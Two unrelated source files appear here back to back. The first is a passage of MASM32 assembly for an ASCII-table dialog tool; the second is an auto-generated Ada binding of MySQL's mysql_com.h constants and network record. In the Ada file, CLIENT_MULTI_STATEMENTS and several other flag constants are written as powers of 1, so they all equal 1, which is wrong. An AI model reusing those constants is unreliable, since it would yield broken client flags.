invoke TypeSelected,hwnd,lParam
.endif
.else
mov eax,FALSE
ret
.endif
mov eax,TRUE
ret
DlgProc endp
;prints out selected character
TypeSelected proc hwnd:HWND,lParam:LPARAM
LOCAL pt:POINT
LOCAL szChar[16]:BYTE
LOCAL szTemp[256]:BYTE
push edi
push edx
push ecx
push ebx
mov edi,rects
assume edi: ptr ASCIIRECT
mov edx,lParam
movzx eax,dx
mov pt.x,eax
shr edx,16
mov pt.y,edx
mov ecx,UpperBound
mov ebx,sizeof ASCIIRECT
sub edi,ebx
_loop:
add edi,ebx
push ecx
invoke PtInRect,addr [edi].rc, pt.x ,pt.y
.if ( eax )
.if wOutput == IDC_RBN_HEX
.if ([edi].index > 159)
invoke wsprintf,addr szChar,addr FormatLongHex,[edi].index
.else
invoke wsprintf,addr szChar,addr FormatHex,[edi].index
.endif
invoke lstrcat,addr szChar,addr HSfx
.elseif wOutput == IDC_RBN_OCT
invoke byt2oct,byte ptr [edi].index,addr szChar
.elseif wOutput == IDC_RBN_DEC
invoke wsprintf,addr szChar,addr FormatDec,[edi].index
.elseif wOutput == IDC_RBN_BIN
invoke byt2bin_ex,byte ptr [edi].index,addr szChar
invoke lstrcat,addr szChar,addr BSfx
.endif
invoke GetDlgItemText,hwnd,IDC_EDT_CLIP,addr szTemp,255
.if ( eax )
invoke lstrcat,addr szTemp,addr Comma
invoke lstrcat,addr szTemp,addr szChar
invoke SetDlgItemText,hwnd,IDC_EDT_CLIP,addr szTemp
.else
invoke SetDlgItemText,hwnd,IDC_EDT_CLIP,addr szChar
.endif
pop ecx
jmp _exit
.endif
pop ecx
dec ecx
cmp ecx,0
jge _loop
_exit:
assume edi: nothing
pop ebx
pop ecx
pop edx
pop edi
ret
TypeSelected endp
;selects the rectangle under mouse cursor
SelectCurrent proc hwnd:HWND,lParam:LPARAM
LOCAL pt:POINT
LOCAL bFound:BOOL
LOCAL bInRects:BOOL
LOCAL szBuffer[256]:BYTE
push edi
push edx
push ecx
push ebx
mov bInRects,FALSE
mov bFound,FALSE
mov InMove,TRUE
mov edi,rects
assume edi: ptr ASCIIRECT
mov edx,lParam
movzx eax,dx
mov pt.x,eax
shr edx,16
mov pt.y,edx
mov eax,dwRight
mov edx,dwBottom
.if (pt.x < 12 || pt.x > eax || pt.y < 12 || pt.y > edx)
.if (RectCurrent != -1)
invoke SetDlgItemText,hwnd,IDC_SBR_ASC,NULL
push RectCurrent
pop RectPrev
mov RectCurrent,-1
mov bFound,TRUE
jmp _exit
.endif
.endif
mov ecx,UpperBound
mov ebx,sizeof ASCIIRECT
sub edi,ebx
_loop:
add edi,ebx
push ecx
invoke PtInRect,addr [edi].rc, pt.x ,pt.y
.if ( eax )
mov bInRects,TRUE
mov edx,[edi].index
.if (edx != RectCurrent)
.if edx < 33
add edx,101
invoke LoadString,hInstance,edx,addr szBuffer,255
invoke SetDlgItemText,hwnd,IDC_SBR_ASC,addr szBuffer
.else
invoke SetDlgItemText,hwnd,IDC_SBR_ASC,NULL
.endif
push RectCurrent
pop RectPrev
push [edi].index
pop RectCurrent
mov bFound,TRUE
pop ecx
jmp _exit
.endif
.endif
pop ecx
dec ecx
cmp ecx,0
jge _loop
.if ( !bInRects )
invoke PtInRect,addr rcBig,pt.x,pt.y
.if ( eax )
invoke SetDlgItemText,hwnd,IDC_SBR_ASC,NULL
push RectCurrent
pop RectPrev
mov RectCurrent,-1
mov bFound,TRUE
jmp _exit
.endif
.endif
_exit:
assume edi: nothing
.if ( bFound )
invoke RedrawWindow,hwnd,NULL,NULL,TRUE
.endif
mov InMove,FALSE
pop ebx
pop ecx
pop edx
pop edi
ret
SelectCurrent endp
;draws ASCII table
PaintASCII proc hwnd:HWND
local ps:PAINTSTRUCT
local hdc:HDC
local pt:POINT
local rc:RECT
local cnt:DWORD
LOCAL sz:DWORD
LOCAL br:HBRUSH
LOCAL szBuffer[256]:BYTE
LOCAL hSelBrush:HBRUSH
LOCAL penBlue:HPEN
push edi
push edx
push ebx
mov InPaint,TRUE
invoke BeginPaint,hwnd,addr ps
mov hdc,eax
invoke SelectObject,hdc,hMFont
invoke SetBkMode,hdc,TRANSPARENT
invoke GetSysColorBrush,COLOR_BTNSHADOW
mov br,eax
mov sz,sizeof ASCIIRECT
mov edi,rects
assume edi: ptr ASCIIRECT
; .if RectPrev != -1
; invoke GetSysColorBrush,COLOR_BTNFACE
; mov hSelBrush,eax
; mov eax,RectPrev
; mov edx,sz
; mul edx
; invoke FillRect,hdc,addr [edi+eax].rc,hSelBrush
; .endif
; .if RectCurrent != -1
; invoke GetStockObject,WHITE_BRUSH
; mov hSelBrush,eax
; mov eax,RectCurrent
; mov edx,sz
; mul edx
; invoke FillRect,hdc,addr [edi+eax].rc,hSelBrush
; .endif
push UpperBound
pop cnt
sub edi,sz
_loop:
add edi,sz
invoke FrameRect,hdc,addr [edi].rc,br
.if ([edi].index > 32 && [edi].index < 128)
invoke SetTextColor,hdc,COLOR_BLUE
invoke DrawText,hdc,addr [edi].index,1,addr [edi].rc,DT_CENTER or DT_SINGLELINE or DT_VCENTER or DT_NOPREFIX or DT_NOCLIP
.elseif ([edi].index > 127)
invoke SetTextColor,hdc,COLOR_BROWN
invoke DrawText,hdc,addr [edi].index,1,addr [edi].rc,DT_CENTER or DT_SINGLELINE or DT_VCENTER or DT_NOPREFIX or DT_NOCLIP
.else
invoke SetTextColor,hdc,COLOR_GREEN
mov edx,[edi].index
inc edx
invoke LoadString,hInstance,edx,addr szBuffer,255
invoke DrawText,hdc,addr szBuffer,-1,addr [edi].rc,DT_CENTER or DT_SINGLELINE or DT_VCENTER or DT_NOPREFIX or DT_NOCLIP
.endif
dec cnt
cmp cnt,0
jge _loop
assume edi: nothing
invoke EndPaint,hwnd,addr ps
mov InPaint,FALSE
pop ebx
pop edx
pop edi
Ret
PaintASCII EndP
;inits array of rectangles
InitRects proc hwnd:HWND
LOCAL sz :DWORD
LOCAL ind:DWORD
LOCAL CellW:DWORD
LOCAL JumpW:DWORD
LOCAL CellH:DWORD
LOCAL JumpH:DWORD
LOCAL rc:RECT
LOCAL rc1:RECT
LOCAL rc2:RECT
LOCAL Handle:HWND
push edi
push edx
push ecx
push ebx
invoke GetClientRect,hwnd,addr rc
mov eax,rc.right
sub eax,rc.left
sub eax,22 ;12 + 10
shr eax,4
sub eax,2
mov CellW,eax
mov JumpW,eax
add JumpW,2
invoke GetDlgItem,hwnd,IDC_GRP_OPTIONS
mov Handle,eax
invoke GetWindowRect,Handle,addr rc1
invoke GetDlgItem,hwnd,IDC_SBR_ASC
mov Handle,eax
invoke GetWindowRect,Handle,addr rc2
mov edx,rc1.bottom
sub edx,rc1.top
add edx,rc2.bottom
sub edx,rc2.top
mov eax,rc.bottom
sub eax,rc.top
sub eax,edx
sub eax,22 ;12 + 10
shr eax,4
sub eax,2
mov CellH,eax
mov JumpH,eax
add JumpH,2
mov ind,0
;lea edi,rects
mov edi,rects
assume edi:ptr ASCIIRECT
xor ecx,ecx
xor eax,eax
add eax,12
mov sz,sizeof ASCIIRECT
_loop1:
xor ebx,ebx
xor edx,edx
add edx,12
_loop2:
mov [edi].rc.left,edx
mov [edi].rc.top,eax
push edx
add edx,CellW
mov [edi].rc.right,edx
pop edx
push eax
add eax,CellH
mov [edi].rc.bottom,eax
pop eax
push ind
pop [edi].index
inc ind
add edx,JumpW
add edi,sz
inc ebx
cmp ebx,16
jl _loop2
add eax,JumpH
inc ecx
cmp ecx,16
jl _loop1
sub edi,sz
invoke SetRect,addr rcBig,12,12,[edi].rc.right,[edi].rc.bottom
assume edi:nothing
pop ebx
pop ecx
pop edx
pop edi
ret
InitRects endp
;stores needed sizes
DefineSizes proc hwnd:HWND
LOCAL sz :DWORD
LOCAL rc:RECT
push edi
mov edi,rects
assume edi:ptr ASCIIRECT
mov sz,sizeof ASCIIRECT
mov eax,255
mul sz
push [edi+eax].rc.right
pop dwRight
push [edi+eax].rc.bottom
pop dwBottom
assume edi:nothing
pop edi
ret
DefineSizes endp
CreateStandardFont proc
LOCAL ncm:NONCLIENTMETRICS
mov ncm.cbSize,sizeof NONCLIENTMETRICS
invoke SystemParametersInfo,SPI_GETNONCLIENTMETRICS,sizeof NONCLIENTMETRICS,addr ncm,NULL
invoke RtlMoveMemory,addr m_LogFont,addr ncm.lfMessageFont,sizeof LOGFONT
invoke CreateFontIndirect,addr m_LogFont
mov hMFont,eax
ret
CreateStandardFont endp
;creates array for storing data
CreateArray proc
push edx
mov eax,256
mov edx,sizeof ASCIIRECT
mul edx
invoke LocalAlloc,LMEM_ZEROINIT,eax
mov hMem,eax
invoke LocalLock,hMem
mov rects,eax
pop edx
ret
CreateArray endp
;erases array of data and frees up memory
EraseArray proc
invoke LocalUnlock,hMem
invoke LocalFree,hMem
mov hMem,0
ret
EraseArray endp
;converts byte to octal characters
byt2oct proc var:BYTE,lpBuffer:LPSTR
push esi
push edx
xor eax,eax
mov esi,lpBuffer
mov [esi+4],al
mov dl,OSfx
mov [esi+3],dl
xor edx,edx
mov al,var
mov dl,var
and al,00000111b
add al,48
mov [esi+2],al
mov al,dl
shr al,3
and al,00000111b
add al,48
mov [esi+1],al
mov al,dl
shr al,6
and al,00000111b
add al,48
mov [esi],al
pop edx
pop esi
ret
byt2oct endp
;insert string into editor window
InsertChars proc hwnd:HWND
local hEditor:HWND
local chr:CHARRANGE
local szBuffer[256]:BYTE
invoke GetDlgItemText,hwnd,IDC_EDT_CLIP,addr szBuffer,255
invoke OutputString,addr szBuffer
Ret
InsertChars EndP
NewFont proc hwnd:HWND
LOCAL hdc:HDC
LOCAL cf:CHOOSEFONT
invoke RtlZeroMemory,addr cf,sizeof CHOOSEFONT
mov cf.lStructSize,sizeof CHOOSEFONT
invoke GetDC,hwnd
mov hdc,eax
push hdc
pop cf.hDC
push hwnd
pop cf.hwndOwner
push offset m_LogFont
pop cf.lpLogFont
mov cf.nSizeMin, 8
mov cf.nSizeMax, 72
mov cf.lpTemplateName, NULL
mov cf.lpfnHook, NULL
mov cf.Flags,CF_SCREENFONTS or CF_INITTOLOGFONTSTRUCT
invoke ChooseFont,addr cf
.if eax != 0
invoke ShowFontData,hwnd,m_LogFont.lfCharSet
invoke DeleteObject,hMFont
invoke CreateFontIndirect,addr m_LogFont
mov hMFont,eax
invoke SendMessage,hwnd,WM_ERASEBKGND,hdc,0
invoke RedrawWindow,hwnd,NULL,NULL,TRUE
invoke ReleaseDC,hwnd,hdc
.else
invoke ReleaseDC,hwnd,hdc
.endif
ret
NewFont endp
ShowFontData proc hwnd:HWND,charset:DWORD
LOCAL szData[256]:BYTE
empty$ szData,256
invoke lstrcat,addr szData,addr m_LogFont.lfFaceName
invoke lstrcat,addr szData,CADD(" - ")
.if charset == DEFAULT_CHARSET
invoke lstrcat,addr szData,CADD("Default")
.elseif charset == SYMBOL_CHARSET
invoke lstrcat,addr szData,CADD("Symbol")
.elseif charset == OEM_CHARSET
invoke lstrcat,addr szData,CADD("OEM")
.elseif charset == ANSI_CHARSET
invoke lstrcat,addr szData,CADD("ANSI")
.elseif charset == RUSSIAN_CHARSET
invoke lstrcat,addr szData,CADD("Cyrillic")
.elseif charset == EE_CHARSET
invoke lstrcat,addr szData,CADD("Central European")
.elseif charset == GREEK_CHARSET
invoke lstrcat,addr szData,CADD("Greek")
.elseif charset == TURKISH_CHARSET
invoke lstrcat,addr szData,CADD("Turkish")
.elseif charset == BALTIC_CHARSET
invoke lstrcat,addr szData,CADD("Baltic")
.elseif charset == HEBREW_CHARSET
invoke lstrcat,addr szData,CADD("Hebrew")
.elseif charset == ARABIC_CHARSET
invoke lstrcat,addr szData,CADD("Arabic")
.elseif charset == SHIFTJIS_CHARSET
invoke lstrcat,addr szData,CADD("Japanese")
.elseif charset == HANGEUL_CHARSET
invoke lstrcat,addr szData,CADD("Hangul")
.elseif charset == GB2313_CHARSET
invoke lstrcat,addr szData,CADD("Simplified Chinese")
.elseif charset == CHINESEBIG5_CHARSET
invoke lstrcat,addr szData,CADD("Traditional Chinese")
.elseif charset == VIETNAMESE_CHARSET
invoke lstrcat,addr szData,CADD("Vietnamese")
.elseif charset == THAI_CHARSET
invoke lstrcat,addr szData,CADD("Thai")
.else
invoke lstrcat,addr szData,CADD("Other")
.endif
invoke SetDlgItemText,hwnd,IDC_STC_FONT,addr szData
ret
ShowFontData endp
|
src/mysql/mysql-com.ads | Letractively/ada-ado | 0 | 28466 | <filename>src/mysql/mysql-com.ads
-----------------------------------------------------------------------
-- ADO Mysql -- Mysql Interface
-- Copyright (C) 2009, 2010 <NAME>
-- Written by <NAME> (<EMAIL>)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
with Interfaces.C; use Interfaces.C;
with System;
with Interfaces.C.Strings;
package Mysql.Com is
pragma Preelaborate;
pragma Warnings (Off);
pragma Warnings (Off, "*style*");
subtype my_socket is int; -- /usr/include/mysql/mysql.h:66:13
NAME_LEN : constant := 64; -- /usr/include/mysql/mysql_com.h:23
HOSTNAME_LENGTH : constant := 60; -- /usr/include/mysql/mysql_com.h:24
USERNAME_LENGTH : constant := 16; -- /usr/include/mysql/mysql_com.h:25
SERVER_VERSION_LENGTH : constant := 60; -- /usr/include/mysql/mysql_com.h:26
SQLSTATE_LENGTH : constant := 5; -- /usr/include/mysql/mysql_com.h:27
-- unsupported macro: USER_HOST_BUFF_SIZE HOSTNAME_LENGTH + USERNAME_LENGTH + 2
LOCAL_HOST : aliased constant String := "localhost" & ASCII.NUL; -- /usr/include/mysql/mysql_com.h:37
LOCAL_HOST_NAMEDPIPE : aliased constant String := "." & ASCII.NUL; -- /usr/include/mysql/mysql_com.h:38
SCRAMBLE_LENGTH : constant := 20; -- /usr/include/mysql/mysql_com.h:71
SCRAMBLE_LENGTH_323 : constant := 8; -- /usr/include/mysql/mysql_com.h:72
-- unsupported macro: SCRAMBLED_PASSWORD_CHAR_LENGTH (SCRAMBLE_LENGTH*2+1)
-- unsupported macro: SCRAMBLED_PASSWORD_CHAR_LENGTH_323 (SCRAMBLE_LENGTH_323*2)
NOT_NULL_FLAG : constant := 1; -- /usr/include/mysql/mysql_com.h:78
PRI_KEY_FLAG : constant := 2; -- /usr/include/mysql/mysql_com.h:79
UNIQUE_KEY_FLAG : constant := 4; -- /usr/include/mysql/mysql_com.h:80
MULTIPLE_KEY_FLAG : constant := 8; -- /usr/include/mysql/mysql_com.h:81
BLOB_FLAG : constant := 16; -- /usr/include/mysql/mysql_com.h:82
UNSIGNED_FLAG : constant := 32; -- /usr/include/mysql/mysql_com.h:83
ZEROFILL_FLAG : constant := 64; -- /usr/include/mysql/mysql_com.h:84
BINARY_FLAG : constant := 128; -- /usr/include/mysql/mysql_com.h:85
ENUM_FLAG : constant := 256; -- /usr/include/mysql/mysql_com.h:88
AUTO_INCREMENT_FLAG : constant := 512; -- /usr/include/mysql/mysql_com.h:89
TIMESTAMP_FLAG : constant := 1024; -- /usr/include/mysql/mysql_com.h:90
SET_FLAG : constant := 2048; -- /usr/include/mysql/mysql_com.h:91
NO_DEFAULT_VALUE_FLAG : constant := 4096; -- /usr/include/mysql/mysql_com.h:92
NUM_FLAG : constant := 32768; -- /usr/include/mysql/mysql_com.h:93
PART_KEY_FLAG : constant := 16384; -- /usr/include/mysql/mysql_com.h:94
GROUP_FLAG : constant := 32768; -- /usr/include/mysql/mysql_com.h:95
UNIQUE_FLAG : constant := 65536; -- /usr/include/mysql/mysql_com.h:96
BINCMP_FLAG : constant := 131072; -- /usr/include/mysql/mysql_com.h:97
REFRESH_GRANT : constant := 1; -- /usr/include/mysql/mysql_com.h:99
REFRESH_LOG : constant := 2; -- /usr/include/mysql/mysql_com.h:100
REFRESH_TABLES : constant := 4; -- /usr/include/mysql/mysql_com.h:101
REFRESH_HOSTS : constant := 8; -- /usr/include/mysql/mysql_com.h:102
REFRESH_STATUS : constant := 16; -- /usr/include/mysql/mysql_com.h:103
REFRESH_THREADS : constant := 32; -- /usr/include/mysql/mysql_com.h:104
REFRESH_SLAVE : constant := 64; -- /usr/include/mysql/mysql_com.h:105
REFRESH_MASTER : constant := 128; -- /usr/include/mysql/mysql_com.h:107
REFRESH_READ_LOCK : constant := 16384; -- /usr/include/mysql/mysql_com.h:111
REFRESH_FAST : constant := 32768; -- /usr/include/mysql/mysql_com.h:112
REFRESH_QUERY_CACHE : constant := 65536; -- /usr/include/mysql/mysql_com.h:115
REFRESH_QUERY_CACHE_FREE : constant := 16#20000#; -- /usr/include/mysql/mysql_com.h:116
REFRESH_DES_KEY_FILE : constant := 16#40000#; -- /usr/include/mysql/mysql_com.h:117
REFRESH_USER_RESOURCES : constant := 16#80000#; -- /usr/include/mysql/mysql_com.h:118
CLIENT_LONG_PASSWORD : constant := 1; -- /usr/include/mysql/mysql_com.h:120
CLIENT_FOUND_ROWS : constant := 2; -- /usr/include/mysql/mysql_com.h:121
CLIENT_LONG_FLAG : constant := 4; -- /usr/include/mysql/mysql_com.h:122
CLIENT_CONNECT_WITH_DB : constant := 8; -- /usr/include/mysql/mysql_com.h:123
CLIENT_NO_SCHEMA : constant := 16; -- /usr/include/mysql/mysql_com.h:124
CLIENT_COMPRESS : constant := 32; -- /usr/include/mysql/mysql_com.h:125
CLIENT_ODBC : constant := 64; -- /usr/include/mysql/mysql_com.h:126
CLIENT_LOCAL_FILES : constant := 128; -- /usr/include/mysql/mysql_com.h:127
CLIENT_IGNORE_SPACE : constant := 256; -- /usr/include/mysql/mysql_com.h:128
CLIENT_PROTOCOL_41 : constant := 512; -- /usr/include/mysql/mysql_com.h:129
CLIENT_INTERACTIVE : constant := 1024; -- /usr/include/mysql/mysql_com.h:130
CLIENT_SSL : constant := 2048; -- /usr/include/mysql/mysql_com.h:131
CLIENT_IGNORE_SIGPIPE : constant := 4096; -- /usr/include/mysql/mysql_com.h:132
CLIENT_TRANSACTIONS : constant := 8192; -- /usr/include/mysql/mysql_com.h:133
CLIENT_RESERVED : constant := 16384; -- /usr/include/mysql/mysql_com.h:134
CLIENT_SECURE_CONNECTION : constant := 32768; -- /usr/include/mysql/mysql_com.h:135
CLIENT_MULTI_STATEMENTS : constant := (1 ** 16); -- /usr/include/mysql/mysql_com.h:136
CLIENT_MULTI_RESULTS : constant := (1 ** 17); -- /usr/include/mysql/mysql_com.h:137
CLIENT_SSL_VERIFY_SERVER_CERT : constant := (1 ** 30); -- /usr/include/mysql/mysql_com.h:139
CLIENT_REMEMBER_OPTIONS : constant := (1 ** 31); -- /usr/include/mysql/mysql_com.h:140
SERVER_STATUS_IN_TRANS : constant := 1; -- /usr/include/mysql/mysql_com.h:142
SERVER_STATUS_AUTOCOMMIT : constant := 2; -- /usr/include/mysql/mysql_com.h:143
SERVER_MORE_RESULTS_EXISTS : constant := 8; -- /usr/include/mysql/mysql_com.h:144
SERVER_QUERY_NO_GOOD_INDEX_USED : constant := 16; -- /usr/include/mysql/mysql_com.h:145
SERVER_QUERY_NO_INDEX_USED : constant := 32; -- /usr/include/mysql/mysql_com.h:146
SERVER_STATUS_CURSOR_EXISTS : constant := 64; -- /usr/include/mysql/mysql_com.h:152
SERVER_STATUS_LAST_ROW_SENT : constant := 128; -- /usr/include/mysql/mysql_com.h:157
SERVER_STATUS_DB_DROPPED : constant := 256; -- /usr/include/mysql/mysql_com.h:158
SERVER_STATUS_NO_BACKSLASH_ESCAPES : constant := 512; -- /usr/include/mysql/mysql_com.h:159
MYSQL_ERRMSG_SIZE : constant := 512; -- /usr/include/mysql/mysql_com.h:161
NET_READ_TIMEOUT : constant := 30; -- /usr/include/mysql/mysql_com.h:162
NET_WRITE_TIMEOUT : constant := 60; -- /usr/include/mysql/mysql_com.h:163
-- unsupported macro: NET_WAIT_TIMEOUT 8*60*60
ONLY_KILL_QUERY : constant := 1; -- /usr/include/mysql/mysql_com.h:166
MAX_TINYINT_WIDTH : constant := 3; -- /usr/include/mysql/mysql_com.h:171
MAX_SMALLINT_WIDTH : constant := 5; -- /usr/include/mysql/mysql_com.h:172
MAX_MEDIUMINT_WIDTH : constant := 8; -- /usr/include/mysql/mysql_com.h:173
MAX_INT_WIDTH : constant := 10; -- /usr/include/mysql/mysql_com.h:174
MAX_BIGINT_WIDTH : constant := 20; -- /usr/include/mysql/mysql_com.h:175
MAX_CHAR_WIDTH : constant := 255; -- /usr/include/mysql/mysql_com.h:176
MAX_BLOB_WIDTH : constant := 8192; -- /usr/include/mysql/mysql_com.h:177
-- unsupported macro: packet_error (~(unsigned long) 0)
-- unsupported macro: CLIENT_MULTI_QUERIES CLIENT_MULTI_STATEMENTS
-- unsupported macro: FIELD_TYPE_DECIMAL MYSQL_TYPE_DECIMAL
-- unsupported macro: FIELD_TYPE_NEWDECIMAL MYSQL_TYPE_NEWDECIMAL
-- unsupported macro: FIELD_TYPE_TINY MYSQL_TYPE_TINY
-- unsupported macro: FIELD_TYPE_SHORT MYSQL_TYPE_SHORT
-- unsupported macro: FIELD_TYPE_LONG MYSQL_TYPE_LONG
-- unsupported macro: FIELD_TYPE_FLOAT MYSQL_TYPE_FLOAT
-- unsupported macro: FIELD_TYPE_DOUBLE MYSQL_TYPE_DOUBLE
-- unsupported macro: FIELD_TYPE_NULL MYSQL_TYPE_NULL
-- unsupported macro: FIELD_TYPE_TIMESTAMP MYSQL_TYPE_TIMESTAMP
-- unsupported macro: FIELD_TYPE_LONGLONG MYSQL_TYPE_LONGLONG
-- unsupported macro: FIELD_TYPE_INT24 MYSQL_TYPE_INT24
-- unsupported macro: FIELD_TYPE_DATE MYSQL_TYPE_DATE
-- unsupported macro: FIELD_TYPE_TIME MYSQL_TYPE_TIME
-- unsupported macro: FIELD_TYPE_DATETIME MYSQL_TYPE_DATETIME
-- unsupported macro: FIELD_TYPE_YEAR MYSQL_TYPE_YEAR
-- unsupported macro: FIELD_TYPE_NEWDATE MYSQL_TYPE_NEWDATE
-- unsupported macro: FIELD_TYPE_ENUM MYSQL_TYPE_ENUM
-- unsupported macro: FIELD_TYPE_SET MYSQL_TYPE_SET
-- unsupported macro: FIELD_TYPE_TINY_BLOB MYSQL_TYPE_TINY_BLOB
-- unsupported macro: FIELD_TYPE_MEDIUM_BLOB MYSQL_TYPE_MEDIUM_BLOB
-- unsupported macro: FIELD_TYPE_LONG_BLOB MYSQL_TYPE_LONG_BLOB
-- unsupported macro: FIELD_TYPE_BLOB MYSQL_TYPE_BLOB
-- unsupported macro: FIELD_TYPE_VAR_STRING MYSQL_TYPE_VAR_STRING
-- unsupported macro: FIELD_TYPE_STRING MYSQL_TYPE_STRING
-- unsupported macro: FIELD_TYPE_CHAR MYSQL_TYPE_TINY
-- unsupported macro: FIELD_TYPE_INTERVAL MYSQL_TYPE_ENUM
-- unsupported macro: FIELD_TYPE_GEOMETRY MYSQL_TYPE_GEOMETRY
-- unsupported macro: FIELD_TYPE_BIT MYSQL_TYPE_BIT
-- unsupported macro: MYSQL_SHUTDOWN_KILLABLE_CONNECT (unsigned char)(1 << 0)
-- unsupported macro: MYSQL_SHUTDOWN_KILLABLE_TRANS (unsigned char)(1 << 1)
-- unsupported macro: MYSQL_SHUTDOWN_KILLABLE_LOCK_TABLE (unsigned char)(1 << 2)
-- unsupported macro: MYSQL_SHUTDOWN_KILLABLE_UPDATE (unsigned char)(1 << 3)
-- arg-macro: function net_new_transaction (net)
-- return (net).pkt_nr:=0;
NET_HEADER_SIZE : constant := 4; -- /usr/include/mysql/mysql_com.h:402
COMP_HEADER_SIZE : constant := 3; -- /usr/include/mysql/mysql_com.h:403
-- unsupported macro: NULL_LENGTH ((unsigned long) ~0)
MYSQL_STMT_HEADER : constant := 4; -- /usr/include/mysql/mysql_com.h:464
MYSQL_LONG_DATA_HEADER : constant := 6; -- /usr/include/mysql/mysql_com.h:465
-- Copyright (C) 2000 MySQL AB
-- This program is free software; you can redistribute it and/or modify
-- it under the terms of the GNU General Public License as published by
-- the Free Software Foundation; version 2 of the License.
-- This program is distributed in the hope that it will be useful,
-- but WITHOUT ANY WARRANTY; without even the implied warranty of
-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-- GNU General Public License for more details.
-- You should have received a copy of the GNU General Public License
-- along with this program; if not, write to the Free Software
-- Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
--** Common definition between mysql server & client
--
-- USER_HOST_BUFF_SIZE -- length of string buffer, that is enough to contain
-- username and hostname parts of the user identifier with trailing zero in
-- MySQL standard format:
-- user_name_part@host_name_part\0
--
-- You should add new commands to the end of this list, otherwise old
-- servers won't be able to handle them as 'unsupported'.
--
subtype enum_server_command is unsigned;
COM_SLEEP : constant enum_server_command := 0;
COM_QUIT : constant enum_server_command := 1;
COM_INIT_DB : constant enum_server_command := 2;
COM_QUERY : constant enum_server_command := 3;
COM_FIELD_LIST : constant enum_server_command := 4;
COM_CREATE_DB : constant enum_server_command := 5;
COM_DROP_DB : constant enum_server_command := 6;
COM_REFRESH : constant enum_server_command := 7;
COM_SHUTDOWN : constant enum_server_command := 8;
COM_STATISTICS : constant enum_server_command := 9;
COM_PROCESS_INFO : constant enum_server_command := 10;
COM_CONNECT : constant enum_server_command := 11;
COM_PROCESS_KILL : constant enum_server_command := 12;
COM_DEBUG : constant enum_server_command := 13;
COM_PING : constant enum_server_command := 14;
COM_TIME : constant enum_server_command := 15;
COM_DELAYED_INSERT : constant enum_server_command := 16;
COM_CHANGE_USER : constant enum_server_command := 17;
COM_BINLOG_DUMP : constant enum_server_command := 18;
COM_TABLE_DUMP : constant enum_server_command := 19;
COM_CONNECT_OUT : constant enum_server_command := 20;
COM_REGISTER_SLAVE : constant enum_server_command := 21;
COM_STMT_PREPARE : constant enum_server_command := 22;
COM_STMT_EXECUTE : constant enum_server_command := 23;
COM_STMT_SEND_LONG_DATA : constant enum_server_command := 24;
COM_STMT_CLOSE : constant enum_server_command := 25;
COM_STMT_RESET : constant enum_server_command := 26;
COM_SET_OPTION : constant enum_server_command := 27;
COM_STMT_FETCH : constant enum_server_command := 28;
COM_END : constant enum_server_command := 29; -- /usr/include/mysql/mysql_com.h:52:1
-- don't forget to update const char *command_name[] in sql_parse.cc
-- Must be last
-- Length of random string sent by server on handshake; this is also length of
-- obfuscated password, recieved from client
--
-- length of password stored in the db: new passwords are preceeded with '*'
-- The following are only sent to new clients
-- The following can't be set with mysql_refresh()
-- RESET (remove all queries) from query cache
-- The server was able to fulfill the clients request and opened a
-- read-only non-scrollable cursor for a query. This flag comes
-- in reply to COM_STMT_EXECUTE and COM_STMT_FETCH commands.
--
-- This flag is sent when a read-only cursor is exhausted, in reply to
-- COM_STMT_FETCH command.
--
-- Only C
-- skipped empty struct st_vio
-- skipped empty struct Vio
type anon1416_anon1442_array is array (0 .. 511) of aliased char;
type anon1416_anon1443_array is array (0 .. 5) of aliased char;
type st_net is record
the_vio : System.Address; -- /usr/include/mysql/mysql_com.h:181:8
buff : access unsigned_char; -- /usr/include/mysql/mysql_com.h:182:18
buff_end : access unsigned_char; -- /usr/include/mysql/mysql_com.h:182:24
write_pos : access unsigned_char; -- /usr/include/mysql/mysql_com.h:182:34
read_pos : access unsigned_char; -- /usr/include/mysql/mysql_com.h:182:45
fd : aliased my_socket; -- /usr/include/mysql/mysql_com.h:183:13
max_packet : aliased unsigned_long; -- /usr/include/mysql/mysql_com.h:184:17
max_packet_size : aliased unsigned_long; -- /usr/include/mysql/mysql_com.h:184:28
pkt_nr : aliased unsigned; -- /usr/include/mysql/mysql_com.h:185:16
compress_pkt_nr : aliased unsigned; -- /usr/include/mysql/mysql_com.h:185:23
write_timeout : aliased unsigned; -- /usr/include/mysql/mysql_com.h:186:16
read_timeout : aliased unsigned; -- /usr/include/mysql/mysql_com.h:186:31
retry_count : aliased unsigned; -- /usr/include/mysql/mysql_com.h:186:45
fcntl : aliased int; -- /usr/include/mysql/mysql_com.h:187:7
compress : aliased char; -- /usr/include/mysql/mysql_com.h:188:11
remain_in_buf : aliased unsigned_long; -- /usr/include/mysql/mysql_com.h:194:17
length : aliased unsigned_long; -- /usr/include/mysql/mysql_com.h:194:31
buf_length : aliased unsigned_long; -- /usr/include/mysql/mysql_com.h:194:39
where_b : aliased unsigned_long; -- /usr/include/mysql/mysql_com.h:194:51
return_status : access unsigned; -- /usr/include/mysql/mysql_com.h:195:17
reading_or_writing : aliased unsigned_char; -- /usr/include/mysql/mysql_com.h:196:17
save_char : aliased char; -- /usr/include/mysql/mysql_com.h:197:8
no_send_ok : aliased char; -- /usr/include/mysql/mysql_com.h:198:11
no_send_eof : aliased char; -- /usr/include/mysql/mysql_com.h:199:11
no_send_error : aliased char; -- /usr/include/mysql/mysql_com.h:204:11
last_error : aliased anon1416_anon1442_array; -- /usr/include/mysql/mysql_com.h:210:8
sqlstate : aliased anon1416_anon1443_array; -- /usr/include/mysql/mysql_com.h:210:39
last_errno : aliased unsigned; -- /usr/include/mysql/mysql_com.h:211:16
error : aliased unsigned_char; -- /usr/include/mysql/mysql_com.h:212:17
query_cache_query : Interfaces.C.Strings.chars_ptr; -- mysql_mysql_h.gptr; -- /usr/include/mysql/mysql_com.h:218:8
report_error : aliased char; -- /usr/include/mysql/mysql_com.h:220:11
return_errno : aliased char; -- /usr/include/mysql/mysql_com.h:221:11
end record;
pragma Convention (C, st_net); -- /usr/include/mysql/mysql_com.h:179:16
-- For Perl DBI/dbd
-- The following variable is set if we are doing several queries in one
